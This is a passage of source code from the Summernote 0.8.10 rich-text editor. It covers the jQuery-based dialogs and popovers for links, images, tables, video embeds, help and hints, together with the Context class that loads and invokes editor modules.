                $linkUrl.on('input', handleLinkUrlUpdate).on('paste', function () {
                    setTimeout(handleLinkUrlUpdate, 0);
                }).val(linkInfo.url);
                if (!env.isSupportTouch) {
                    $linkUrl.trigger('focus');
                }
                _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);
                _this.bindEnterKey($linkUrl, $linkBtn);
                _this.bindEnterKey($linkText, $linkBtn);
                var isChecked = linkInfo.isNewWindow !== undefined
                    ? linkInfo.isNewWindow : _this.context.options.linkTargetBlank;
                $openInNewWindow.prop('checked', isChecked);
                $linkBtn.one('click', function (event) {
                    event.preventDefault();
                    deferred.resolve({
                        range: linkInfo.range,
                        url: $linkUrl.val(),
                        text: $linkText.val(),
                        isNewWindow: $openInNewWindow.is(':checked')
                    });
                    _this.ui.hideDialog(_this.$dialog);
                });
            });
            _this.ui.onDialogHidden(_this.$dialog, function () {
                // detach events
                $linkText.off('input paste keypress');
                $linkUrl.off('input paste keypress');
                $linkBtn.off('click');
                if (deferred.state() === 'pending') {
                    deferred.reject();
                }
            });
            _this.ui.showDialog(_this.$dialog);
        }).promise();
    };
    /**
     * @param {Object} layoutInfo
     */
    LinkDialog.prototype.show = function () {
        var _this = this;
        var linkInfo = this.context.invoke('editor.getLinkInfo');
        this.context.invoke('editor.saveRange');
        this.showLinkDialog(linkInfo).then(function (linkInfo) {
            _this.context.invoke('editor.restoreRange');
            _this.context.invoke('editor.createLink', linkInfo);
        }).fail(function () {
            _this.context.invoke('editor.restoreRange');
        });
    };
    return LinkDialog;
}());

var LinkPopover = /** @class */ (function () {
    function LinkPopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.options = context.options;
        this.events = {
            'summernote.keyup summernote.mouseup summernote.change summernote.scroll': function () {
                _this.update();
            },
            'summernote.disable summernote.dialog.shown': function () {
                _this.hide();
            }
        };
    }
    LinkPopover.prototype.shouldInitialize = function () {
        return !lists.isEmpty(this.options.popover.link);
    };
    LinkPopover.prototype.initialize = function () {
        this.$popover = this.ui.popover({
            className: 'note-link-popover',
            callback: function ($node) {
                var $content = $node.find('.popover-content,.note-popover-content');
                $content.prepend('<span><a target="_blank"></a>&nbsp;</span>');
            }
        }).render().appendTo(this.options.container);
        var $content = this.$popover.find('.popover-content,.note-popover-content');
        this.context.invoke('buttons.build', $content, this.options.popover.link);
    };
    LinkPopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    LinkPopover.prototype.update = function () {
        // Prevent focusing on editable when invoke('code') is executed
        if (!this.context.invoke('editor.hasFocus')) {
            this.hide();
            return;
        }
        var rng = this.context.invoke('editor.createRange');
        if (rng.isCollapsed() && rng.isOnAnchor()) {
            var anchor = dom.ancestor(rng.sc, dom.isAnchor);
            var href = $$1(anchor).attr('href');
            this.$popover.find('a').attr('href', href).html(href);
            var pos = dom.posFromPlaceholder(anchor);
            this.$popover.css({
                display: 'block',
                left: pos.left,
                top: pos.top
            });
        }
        else {
            this.hide();
        }
    };
    LinkPopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return LinkPopover;
}());

var ImageDialog = /** @class */ (function () {
    function ImageDialog(context) {
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$body = $$1(document.body);
        this.$editor = context.layoutInfo.editor;
        this.options = context.options;
        this.lang = this.options.langInfo;
    }
    ImageDialog.prototype.initialize = function () {
        var $container = this.options.dialogsInBody ? this.$body : this.$editor;
        var imageLimitation = '';
        if (this.options.maximumImageFileSize) {
            var unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024));
            var readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 +
                ' ' + ' KMGTP'[unit] + 'B';
            imageLimitation = "<small>" + (this.lang.image.maximumFileSize + ' : ' + readableSize) + "</small>";
        }
        var body = [
            '<div class="form-group note-form-group note-group-select-from-files">',
            '<label class="note-form-label">' + this.lang.image.selectFromFiles + '</label>',
            '<input class="note-image-input note-form-control note-input" ',
            ' type="file" name="files" accept="image/*" multiple="multiple" />',
            imageLimitation,
            '</div>',
            '<div class="form-group note-group-image-url" style="overflow:auto;">',
            '<label class="note-form-label">' + this.lang.image.url + '</label>',
            '<input class="note-image-url form-control note-form-control note-input ',
            ' col-md-12" type="text" />',
            '</div>'
        ].join('');
        var buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn';
        var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.image.insert + "</button>";
        this.$dialog = this.ui.dialog({
            title: this.lang.image.insert,
            fade: this.options.dialogsFade,
            body: body,
            footer: footer
        }).render().appendTo($container);
    };
    ImageDialog.prototype.destroy = function () {
        this.ui.hideDialog(this.$dialog);
        this.$dialog.remove();
    };
    ImageDialog.prototype.bindEnterKey = function ($input, $btn) {
        $input.on('keypress', function (event) {
            if (event.keyCode === key.code.ENTER) {
                event.preventDefault();
                $btn.trigger('click');
            }
        });
    };
    ImageDialog.prototype.show = function () {
        var _this = this;
        this.context.invoke('editor.saveRange');
        this.showImageDialog().then(function (data) {
            // [workaround] hide dialog before restore range for IE range focus
            _this.ui.hideDialog(_this.$dialog);
            _this.context.invoke('editor.restoreRange');
            if (typeof data === 'string') {
                _this.context.invoke('editor.insertImage', data);
            }
            else {
                _this.context.invoke('editor.insertImagesOrCallback', data);
            }
        }).fail(function () {
            _this.context.invoke('editor.restoreRange');
        });
    };
    /**
     * show image dialog
     *
     * @param {jQuery} $dialog
     * @return {Promise}
     */
    ImageDialog.prototype.showImageDialog = function () {
        var _this = this;
        return $$1.Deferred(function (deferred) {
            var $imageInput = _this.$dialog.find('.note-image-input');
            var $imageUrl = _this.$dialog.find('.note-image-url');
            var $imageBtn = _this.$dialog.find('.note-image-btn');
            _this.ui.onDialogShown(_this.$dialog, function () {
                _this.context.triggerEvent('dialog.shown');
                // Cloning imageInput to clear element.
                $imageInput.replaceWith($imageInput.clone().on('change', function (event) {
                    deferred.resolve(event.target.files || event.target.value);
                }).val(''));
                $imageBtn.click(function (event) {
                    event.preventDefault();
                    deferred.resolve($imageUrl.val());
                });
                $imageUrl.on('keyup paste', function () {
                    var url = $imageUrl.val();
                    _this.ui.toggleBtn($imageBtn, url);
                }).val('');
                if (!env.isSupportTouch) {
                    $imageUrl.trigger('focus');
                }
                _this.bindEnterKey($imageUrl, $imageBtn);
            });
            _this.ui.onDialogHidden(_this.$dialog, function () {
                $imageInput.off('change');
                $imageUrl.off('keyup paste keypress');
                $imageBtn.off('click');
                if (deferred.state() === 'pending') {
                    deferred.reject();
                }
            });
            _this.ui.showDialog(_this.$dialog);
        });
    };
    return ImageDialog;
}());

/**
 * Image popover module
 *  mouse events that show/hide popover will be handled by Handle.js.
 *  Handle.js will receive the events and invoke 'imagePopover.update'.
 */
var ImagePopover = /** @class */ (function () {
    function ImagePopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.editable = context.layoutInfo.editable[0];
        this.options = context.options;
        this.events = {
            'summernote.disable': function () {
                _this.hide();
            }
        };
    }
    ImagePopover.prototype.shouldInitialize = function () {
        return !lists.isEmpty(this.options.popover.image);
    };
    ImagePopover.prototype.initialize = function () {
        this.$popover = this.ui.popover({
            className: 'note-image-popover'
        }).render().appendTo(this.options.container);
        var $content = this.$popover.find('.popover-content,.note-popover-content');
        this.context.invoke('buttons.build', $content, this.options.popover.image);
    };
    ImagePopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    ImagePopover.prototype.update = function (target) {
        if (dom.isImg(target)) {
            var pos = dom.posFromPlaceholder(target);
            var posEditor = dom.posFromPlaceholder(this.editable);
            this.$popover.css({
                display: 'block',
                left: this.options.popatmouse ? event.pageX - 20 : pos.left,
                top: this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top)
            });
        }
        else {
            this.hide();
        }
    };
    ImagePopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return ImagePopover;
}());

var TablePopover = /** @class */ (function () {
    function TablePopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.options = context.options;
        this.events = {
            'summernote.mousedown': function (we, e) {
                _this.update(e.target);
            },
            'summernote.keyup summernote.scroll summernote.change': function () {
                _this.update();
            },
            'summernote.disable': function () {
                _this.hide();
            }
        };
    }
    TablePopover.prototype.shouldInitialize = function () {
        return !lists.isEmpty(this.options.popover.table);
    };
    TablePopover.prototype.initialize = function () {
        this.$popover = this.ui.popover({
            className: 'note-table-popover'
        }).render().appendTo(this.options.container);
        var $content = this.$popover.find('.popover-content,.note-popover-content');
        this.context.invoke('buttons.build', $content, this.options.popover.table);
        // [workaround] Disable Firefox's default table editor
        if (env.isFF) {
            document.execCommand('enableInlineTableEditing', false, false);
        }
    };
    TablePopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    TablePopover.prototype.update = function (target) {
        if (this.context.isDisabled()) {
            return false;
        }
        var isCell = dom.isCell(target);
        if (isCell) {
            var pos = dom.posFromPlaceholder(target);
            this.$popover.css({
                display: 'block',
                left: pos.left,
                top: pos.top
            });
        }
        else {
            this.hide();
        }
        return isCell;
    };
    TablePopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return TablePopover;
}());

var VideoDialog = /** @class */ (function () {
    function VideoDialog(context) {
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$body = $$1(document.body);
        this.$editor = context.layoutInfo.editor;
        this.options = context.options;
        this.lang = this.options.langInfo;
    }
    VideoDialog.prototype.initialize = function () {
        var $container = this.options.dialogsInBody ? this.$body : this.$editor;
        var body = [
            '<div class="form-group note-form-group row-fluid">',
            "<label class=\"note-form-label\">" + this.lang.video.url + " <small class=\"text-muted\">" + this.lang.video.providers + "</small></label>",
            '<input class="note-video-url form-control note-form-control note-input" type="text" />',
            '</div>'
        ].join('');
        var buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn';
        var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.video.insert + "</button>";
        this.$dialog = this.ui.dialog({
            title: this.lang.video.insert,
            fade: this.options.dialogsFade,
            body: body,
            footer: footer
        }).render().appendTo($container);
    };
    VideoDialog.prototype.destroy = function () {
        this.ui.hideDialog(this.$dialog);
        this.$dialog.remove();
    };
    VideoDialog.prototype.bindEnterKey = function ($input, $btn) {
        $input.on('keypress', function (event) {
            if (event.keyCode === key.code.ENTER) {
                event.preventDefault();
                $btn.trigger('click');
            }
        });
    };
    VideoDialog.prototype.createVideoNode = function (url) {
        // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm)
        var ytRegExp = /^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/;
        var ytMatch = url.match(ytRegExp);
        var igRegExp = /(?:www\.|\/\/)instagram\.com\/p\/(.[a-zA-Z0-9_-]*)/;
        var igMatch = url.match(igRegExp);
        var vRegExp = /\/\/vine\.co\/v\/([a-zA-Z0-9]+)/;
        var vMatch = url.match(vRegExp);
        var vimRegExp = /\/\/(player\.)?vimeo\.com\/([a-z]*\/)*(\d+)[?]?.*/;
        var vimMatch = url.match(vimRegExp);
        var dmRegExp = /.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/;
        var dmMatch = url.match(dmRegExp);
        var youkuRegExp = /\/\/v\.youku\.com\/v_show\/id_(\w+)=*\.html/;
        var youkuMatch = url.match(youkuRegExp);
        var qqRegExp = /\/\/v\.qq\.com.*?vid=(.+)/;
        var qqMatch = url.match(qqRegExp);
        var qqRegExp2 = /\/\/v\.qq\.com\/x?\/?(page|cover).*?\/([^\/]+)\.html\??.*/;
        var qqMatch2 = url.match(qqRegExp2);
        var mp4RegExp = /^.+.(mp4|m4v)$/;
        var mp4Match = url.match(mp4RegExp);
        var oggRegExp = /^.+.(ogg|ogv)$/;
        var oggMatch = url.match(oggRegExp);
        var webmRegExp = /^.+.(webm)$/;
        var webmMatch = url.match(webmRegExp);
        var $video;
        if (ytMatch && ytMatch[1].length === 11) {
            var youtubeId = ytMatch[1];
            $video = $$1('<iframe>')
                .attr('frameborder', 0)
                .attr('src', '//www.youtube.com/embed/' + youtubeId)
                .attr('width', '640').attr('height', '360');
        }
        else if (igMatch && igMatch[0].length) {
            $video = $$1('<iframe>')
                .attr('frameborder', 0)
                .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/')
                .attr('width', '612').attr('height', '710')
                .attr('scrolling', 'no')
                .attr('allowtransparency', 'true');
        }
        else if (vMatch && vMatch[0].length) {
            $video = $$1('<iframe>')
                .attr('frameborder', 0)
                .attr('src', vMatch[0] + '/embed/simple')
                .attr('width', '600').attr('height', '600')
                .attr('class', 'vine-embed');
        }
        else if (vimMatch && vimMatch[3].length) {
            $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')
                .attr('frameborder', 0)
                .attr('src', '//player.vimeo.com/video/' + vimMatch[3])
                .attr('width', '640').attr('height', '360');
        }
        else if (dmMatch && dmMatch[2].length) {
            $video = $$1('<iframe>')
                .attr('frameborder', 0)
                .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2])
                .attr('width', '640').attr('height', '360');
        }
        else if (youkuMatch && youkuMatch[1].length) {
            $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')
                .attr('frameborder', 0)
                .attr('height', '498')
                .attr('width', '510')
                .attr('src', '//player.youku.com/embed/' + youkuMatch[1]);
        }
        else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) {
            var vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]);
            $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>')
                .attr('frameborder', 0)
                .attr('height', '310')
                .attr('width', '500')
                .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&amp;auto=0');
        }
        else if (mp4Match || oggMatch || webmMatch) {
            $video = $$1('<video controls>')
                .attr('src', url)
                .attr('width', '640').attr('height', '360');
        }
        else {
            // this is not a known video link. Now what, Cat? Now what?
            return false;
        }
        $video.addClass('note-video-clip');
        return $video[0];
    };
    VideoDialog.prototype.show = function () {
        var _this = this;
        var text = this.context.invoke('editor.getSelectedText');
        this.context.invoke('editor.saveRange');
        this.showVideoDialog(text).then(function (url) {
            // [workaround] hide dialog before restore range for IE range focus
            _this.ui.hideDialog(_this.$dialog);
            _this.context.invoke('editor.restoreRange');
            // build node
            var $node = _this.createVideoNode(url);
            if ($node) {
                // insert video node
                _this.context.invoke('editor.insertNode', $node);
            }
        }).fail(function () {
            _this.context.invoke('editor.restoreRange');
        });
    };
    /**
     * show image dialog
     *
     * @param {jQuery} $dialog
     * @return {Promise}
     */
    VideoDialog.prototype.showVideoDialog = function (text) {
        var _this = this;
        return $$1.Deferred(function (deferred) {
            var $videoUrl = _this.$dialog.find('.note-video-url');
            var $videoBtn = _this.$dialog.find('.note-video-btn');
            _this.ui.onDialogShown(_this.$dialog, function () {
                _this.context.triggerEvent('dialog.shown');
                $videoUrl.val(text).on('input', function () {
                    _this.ui.toggleBtn($videoBtn, $videoUrl.val());
                });
                if (!env.isSupportTouch) {
                    $videoUrl.trigger('focus');
                }
                $videoBtn.click(function (event) {
                    event.preventDefault();
                    deferred.resolve($videoUrl.val());
                });
                _this.bindEnterKey($videoUrl, $videoBtn);
            });
            _this.ui.onDialogHidden(_this.$dialog, function () {
                $videoUrl.off('input');
                $videoBtn.off('click');
                if (deferred.state() === 'pending') {
                    deferred.reject();
                }
            });
            _this.ui.showDialog(_this.$dialog);
        });
    };
    return VideoDialog;
}());

var HelpDialog = /** @class */ (function () {
    function HelpDialog(context) {
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$body = $$1(document.body);
        this.$editor = context.layoutInfo.editor;
        this.options = context.options;
        this.lang = this.options.langInfo;
    }
    HelpDialog.prototype.initialize = function () {
        var $container = this.options.dialogsInBody ? this.$body : this.$editor;
        var body = [
            '<p class="text-center">',
            '<a href="http://summernote.org/" target="_blank">Summernote 0.8.10</a> · ',
            '<a href="https://github.com/summernote/summernote" target="_blank">Project</a> · ',
            '<a href="https://github.com/summernote/summernote/issues" target="_blank">Issues</a>',
            '</p>'
        ].join('');
        this.$dialog = this.ui.dialog({
            title: this.lang.options.help,
            fade: this.options.dialogsFade,
            body: this.createShortcutList(),
            footer: body,
            callback: function ($node) {
                $node.find('.modal-body,.note-modal-body').css({
                    'max-height': 300,
                    'overflow': 'scroll'
                });
            }
        }).render().appendTo($container);
    };
    HelpDialog.prototype.destroy = function () {
        this.ui.hideDialog(this.$dialog);
        this.$dialog.remove();
    };
    HelpDialog.prototype.createShortcutList = function () {
        var _this = this;
        var keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];
        return Object.keys(keyMap).map(function (key) {
            var command = keyMap[key];
            var $row = $$1('<div><div class="help-list-item"/></div>');
            $row.append($$1('<label><kbd>' + key + '</kdb></label>').css({
                'width': 180,
                'margin-right': 10
            })).append($$1('<span/>').html(_this.context.memo('help.' + command) || command));
            return $row.html();
        }).join('');
    };
    /**
     * show help dialog
     *
     * @return {Promise}
     */
    HelpDialog.prototype.showHelpDialog = function () {
        var _this = this;
        return $$1.Deferred(function (deferred) {
            _this.ui.onDialogShown(_this.$dialog, function () {
                _this.context.triggerEvent('dialog.shown');
                deferred.resolve();
            });
            _this.ui.showDialog(_this.$dialog);
        }).promise();
    };
    HelpDialog.prototype.show = function () {
        var _this = this;
        this.context.invoke('editor.saveRange');
        this.showHelpDialog().then(function () {
            _this.context.invoke('editor.restoreRange');
        });
    };
    return HelpDialog;
}());

var AIR_MODE_POPOVER_X_OFFSET = 20;
var AirPopover = /** @class */ (function () {
    function AirPopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.options = context.options;
        this.events = {
            'summernote.keyup summernote.mouseup summernote.scroll': function () {
                _this.update();
            },
            'summernote.disable summernote.change summernote.dialog.shown': function () {
                _this.hide();
            },
            'summernote.focusout': function (we, e) {
                // [workaround] Firefox doesn't support relatedTarget on focusout
                //  - Ignore hide action on focus out in FF.
                if (env.isFF) {
                    return;
                }
                if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(_this.$popover[0]))) {
                    _this.hide();
                }
            }
        };
    }
    AirPopover.prototype.shouldInitialize = function () {
        return this.options.airMode && !lists.isEmpty(this.options.popover.air);
    };
    AirPopover.prototype.initialize = function () {
        this.$popover = this.ui.popover({
            className: 'note-air-popover'
        }).render().appendTo(this.options.container);
        var $content = this.$popover.find('.popover-content');
        this.context.invoke('buttons.build', $content, this.options.popover.air);
    };
    AirPopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    AirPopover.prototype.update = function () {
        var styleInfo = this.context.invoke('editor.currentStyle');
        if (styleInfo.range && !styleInfo.range.isCollapsed()) {
            var rect = lists.last(styleInfo.range.getClientRects());
            if (rect) {
                var bnd = func.rect2bnd(rect);
                this.$popover.css({
                    display: 'block',
                    left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET,
                    top: bnd.top + bnd.height
                });
                this.context.invoke('buttons.updateCurrentStyle', this.$popover);
            }
        }
        else {
            this.hide();
        }
    };
    AirPopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return AirPopover;
}());

var POPOVER_DIST = 5;
var HintPopover = /** @class */ (function () {
    function HintPopover(context) {
        var _this = this;
        this.context = context;
        this.ui = $$1.summernote.ui;
        this.$editable = context.layoutInfo.editable;
        this.options = context.options;
        this.hint = this.options.hint || [];
        this.direction = this.options.hintDirection || 'bottom';
        this.hints = $$1.isArray(this.hint) ? this.hint : [this.hint];
        this.events = {
            'summernote.keyup': function (we, e) {
                if (!e.isDefaultPrevented()) {
                    _this.handleKeyup(e);
                }
            },
            'summernote.keydown': function (we, e) {
                _this.handleKeydown(e);
            },
            'summernote.disable summernote.dialog.shown': function () {
                _this.hide();
            }
        };
    }
    HintPopover.prototype.shouldInitialize = function () {
        return this.hints.length > 0;
    };
    HintPopover.prototype.initialize = function () {
        var _this = this;
        this.lastWordRange = null;
        this.$popover = this.ui.popover({
            className: 'note-hint-popover',
            hideArrow: true,
            direction: ''
        }).render().appendTo(this.options.container);
        this.$popover.hide();
        this.$content = this.$popover.find('.popover-content,.note-popover-content');
        this.$content.on('click', '.note-hint-item', function () {
            _this.$content.find('.active').removeClass('active');
            $$1(_this).addClass('active');
            _this.replace();
        });
    };
    HintPopover.prototype.destroy = function () {
        this.$popover.remove();
    };
    HintPopover.prototype.selectItem = function ($item) {
        this.$content.find('.active').removeClass('active');
        $item.addClass('active');
        this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2);
    };
    HintPopover.prototype.moveDown = function () {
        var $current = this.$content.find('.note-hint-item.active');
        var $next = $current.next();
        if ($next.length) {
            this.selectItem($next);
        }
        else {
            var $nextGroup = $current.parent().next();
            if (!$nextGroup.length) {
                $nextGroup = this.$content.find('.note-hint-group').first();
            }
            this.selectItem($nextGroup.find('.note-hint-item').first());
        }
    };
    HintPopover.prototype.moveUp = function () {
        var $current = this.$content.find('.note-hint-item.active');
        var $prev = $current.prev();
        if ($prev.length) {
            this.selectItem($prev);
        }
        else {
            var $prevGroup = $current.parent().prev();
            if (!$prevGroup.length) {
                $prevGroup = this.$content.find('.note-hint-group').last();
            }
            this.selectItem($prevGroup.find('.note-hint-item').last());
        }
    };
    HintPopover.prototype.replace = function () {
        var $item = this.$content.find('.note-hint-item.active');
        if ($item.length) {
            var node = this.nodeFromItem($item);
            // XXX: consider to move codes to editor for recording redo/undo.
            this.lastWordRange.insertNode(node);
            range.createFromNode(node).collapse().select();
            this.lastWordRange = null;
            this.hide();
            this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]);
            this.context.invoke('editor.focus');
        }
    };
    HintPopover.prototype.nodeFromItem = function ($item) {
        var hint = this.hints[$item.data('index')];
        var item = $item.data('item');
        var node = hint.content ? hint.content(item) : item;
        if (typeof node === 'string') {
            node = dom.createText(node);
        }
        return node;
    };
    HintPopover.prototype.createItemTemplates = function (hintIdx, items) {
        var hint = this.hints[hintIdx];
        return items.map(function (item, idx) {
            var $item = $$1('<div class="note-hint-item"/>');
            $item.append(hint.template ? hint.template(item) : item + '');
            $item.data({
                'index': hintIdx,
                'item': item
            });
            return $item;
        });
    };
    HintPopover.prototype.handleKeydown = function (e) {
        if (!this.$popover.is(':visible')) {
            return;
        }
        if (e.keyCode === key.code.ENTER) {
            e.preventDefault();
            this.replace();
        }
        else if (e.keyCode === key.code.UP) {
            e.preventDefault();
            this.moveUp();
        }
        else if (e.keyCode === key.code.DOWN) {
            e.preventDefault();
            this.moveDown();
        }
    };
    HintPopover.prototype.searchKeyword = function (index, keyword, callback) {
        var hint = this.hints[index];
        if (hint && hint.match.test(keyword) && hint.search) {
            var matches = hint.match.exec(keyword);
            hint.search(matches[1], callback);
        }
        else {
            callback();
        }
    };
    HintPopover.prototype.createGroup = function (idx, keyword) {
        var _this = this;
        var $group = $$1('<div class="note-hint-group note-hint-group-' + idx + '"/>');
        this.searchKeyword(idx, keyword, function (items) {
            items = items || [];
            if (items.length) {
                $group.html(_this.createItemTemplates(idx, items));
                _this.show();
            }
        });
        return $group;
    };
    HintPopover.prototype.handleKeyup = function (e) {
        var _this = this;
        if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) {
            var wordRange = this.context.invoke('editor.createRange').getWordRange();
            var keyword_1 = wordRange.toString();
            if (this.hints.length && keyword_1) {
                this.$content.empty();
                var bnd = func.rect2bnd(lists.last(wordRange.getClientRects()));
                if (bnd) {
                    this.$popover.hide();
                    this.lastWordRange = wordRange;
                    this.hints.forEach(function (hint, idx) {
                        if (hint.match.test(keyword_1)) {
                            _this.createGroup(idx, keyword_1).appendTo(_this.$content);
                        }
                    });
                    // select first .note-hint-item
                    this.$content.find('.note-hint-item:first').addClass('active');
                    // set position for popover after group is created
                    if (this.direction === 'top') {
                        this.$popover.css({
                            left: bnd.left,
                            top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST
                        });
                    }
                    else {
                        this.$popover.css({
                            left: bnd.left,
                            top: bnd.top + bnd.height + POPOVER_DIST
                        });
                    }
                }
            }
            else {
                this.hide();
            }
        }
    };
    HintPopover.prototype.show = function () {
        this.$popover.show();
    };
    HintPopover.prototype.hide = function () {
        this.$popover.hide();
    };
    return HintPopover;
}());

var Context = /** @class */ (function () {
    /**
     * @param {jQuery} $note
     * @param {Object} options
     */
    function Context($note, options) {
        this.ui = $$1.summernote.ui;
        this.$note = $note;
        this.memos = {};
        this.modules = {};
        this.layoutInfo = {};
        this.options = options;
        this.initialize();
    }
    /**
     * create layout and initialize modules and other resources
     */
    Context.prototype.initialize = function () {
        this.layoutInfo = this.ui.createLayout(this.$note, this.options);
        this._initialize();
        this.$note.hide();
        return this;
    };
    /**
     * destroy modules and other resources and remove layout
     */
    Context.prototype.destroy = function () {
        this._destroy();
        this.$note.removeData('summernote');
        this.ui.removeLayout(this.$note, this.layoutInfo);
    };
    /**
     * destory modules and other resources and initialize it again
     */
    Context.prototype.reset = function () {
        var disabled = this.isDisabled();
        this.code(dom.emptyPara);
        this._destroy();
        this._initialize();
        if (disabled) {
            this.disable();
        }
    };
    Context.prototype._initialize = function () {
        var _this = this;
        // add optional buttons
        var buttons = $$1.extend({}, this.options.buttons);
        Object.keys(buttons).forEach(function (key) {
            _this.memo('button.' + key, buttons[key]);
        });
        var modules = $$1.extend({}, this.options.modules, $$1.summernote.plugins || {});
        // add and initialize modules
        Object.keys(modules).forEach(function (key) {
            _this.module(key, modules[key], true);
        });
        Object.keys(this.modules).forEach(function (key) {
            _this.initializeModule(key);
        });
    };
    Context.prototype._destroy = function () {
        var _this = this;
        // destroy modules with reversed order
        Object.keys(this.modules).reverse().forEach(function (key) {
            _this.removeModule(key);
        });
        Object.keys(this.memos).forEach(function (key) {
            _this.removeMemo(key);
        });
        // trigger custom onDestroy callback
        this.triggerEvent('destroy', this);
    };
    Context.prototype.code = function (html) {
        var isActivated = this.invoke('codeview.isActivated');
        if (html === undefined) {
            this.invoke('codeview.sync');
            return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html();
        }
        else {
            if (isActivated) {
                this.layoutInfo.codable.val(html);
            }
            else {
                this.layoutInfo.editable.html(html);
            }
            this.$note.val(html);
            this.triggerEvent('change', html);
        }
    };
    Context.prototype.isDisabled = function () {
        return this.layoutInfo.editable.attr('contenteditable') === 'false';
    };
    Context.prototype.enable = function () {
        this.layoutInfo.editable.attr('contenteditable', true);
        this.invoke('toolbar.activate', true);
        this.triggerEvent('disable', false);
    };
    Context.prototype.disable = function () {
        // close codeview if codeview is opend
        if (this.invoke('codeview.isActivated')) {
            this.invoke('codeview.deactivate');
        }
        this.layoutInfo.editable.attr('contenteditable', false);
        this.invoke('toolbar.deactivate', true);
        this.triggerEvent('disable', true);
    };
    Context.prototype.triggerEvent = function () {
        var namespace = lists.head(arguments);
        var args = lists.tail(lists.from(arguments));
        var callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')];
        if (callback) {
            callback.apply(this.$note[0], args);
        }
        this.$note.trigger('summernote.' + namespace, args);
    };
    Context.prototype.initializeModule = function (key) {
        var module = this.modules[key];
        module.shouldInitialize = module.shouldInitialize || func.ok;
        if (!module.shouldInitialize()) {
            return;
        }
        // initialize module
        if (module.initialize) {
            module.initialize();
        }
        // attach events
        if (module.events) {
            dom.attachEvents(this.$note, module.events);
        }
    };
    Context.prototype.module = function (key, ModuleClass, withoutIntialize) {
        if (arguments.length === 1) {
            return this.modules[key];
        }
        this.modules[key] = new ModuleClass(this);
        if (!withoutIntialize) {
            this.initializeModule(key);
        }
    };
    Context.prototype.removeModule = function (key) {
        var module = this.modules[key];
        if (module.shouldInitialize()) {
            if (module.events) {
                dom.detachEvents(this.$note, module.events);
            }
            if (module.destroy) {
                module.destroy();
            }
        }
        delete this.modules[key];
    };
    Context.prototype.memo = function (key, obj) {
        if (arguments.length === 1) {
            return this.memos[key];
        }
        this.memos[key] = obj;
    };
    Context.prototype.removeMemo = function (key) {
        if (this.memos[key] && this.memos[key].destroy) {
            this.memos[key].destroy();
        }
        delete this.memos[key];
    };
    /**
     * Some buttons need to change their visual style immediately once they get pressed
     */
    Context.prototype.createInvokeHandlerAndUpdateState = function (namespace, value) {
        var _this = this;
        return function (event) {
            _this.createInvokeHandler(namespace, value)(event);
            _this.invoke('buttons.updateCurrentStyle');
        };
    };
    Context.prototype.createInvokeHandler = function (namespace, value) {
        var _this = this;
        return function (event) {
            event.preventDefault();
            var $target = $$1(event.target);
            _this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target);
        };
    };
    Context.prototype.invoke = function () {
        var namespace = lists.head(arguments);
        var args = lists.tail(lists.from(arguments));
        var splits = namespace.split('.');
        var hasSeparator = splits.length > 1;
        var moduleName = hasSeparator && lists.head(splits);
        var methodName = hasSeparator ? lists.last(splits) : lists.head(splits);
        var module = this.modules[moduleName || 'editor'];
        if (!moduleName && this[methodName]) {
            return this[methodName].apply(this, args);
        }
        else if (module && module[methodName] && module.shouldInitialize()) {
            return module[methodName].apply(module, args);
        }
    };
    return Context;
}());

$$1.fn.extend({
    /**
     * Summernote API
     *
     * @param {Object|String}
     * @return {this}
     */
    summernote: function () {
        var type = $$1.type(lists.head(arguments));
        var isExternalAPICalled = type === 'string';
        var hasInitOptions = type === 'object';
        var options = $$1.extend({}, $$1.summernote.options, hasInitOptions ? lists.head(arguments) : {});
        // Update options
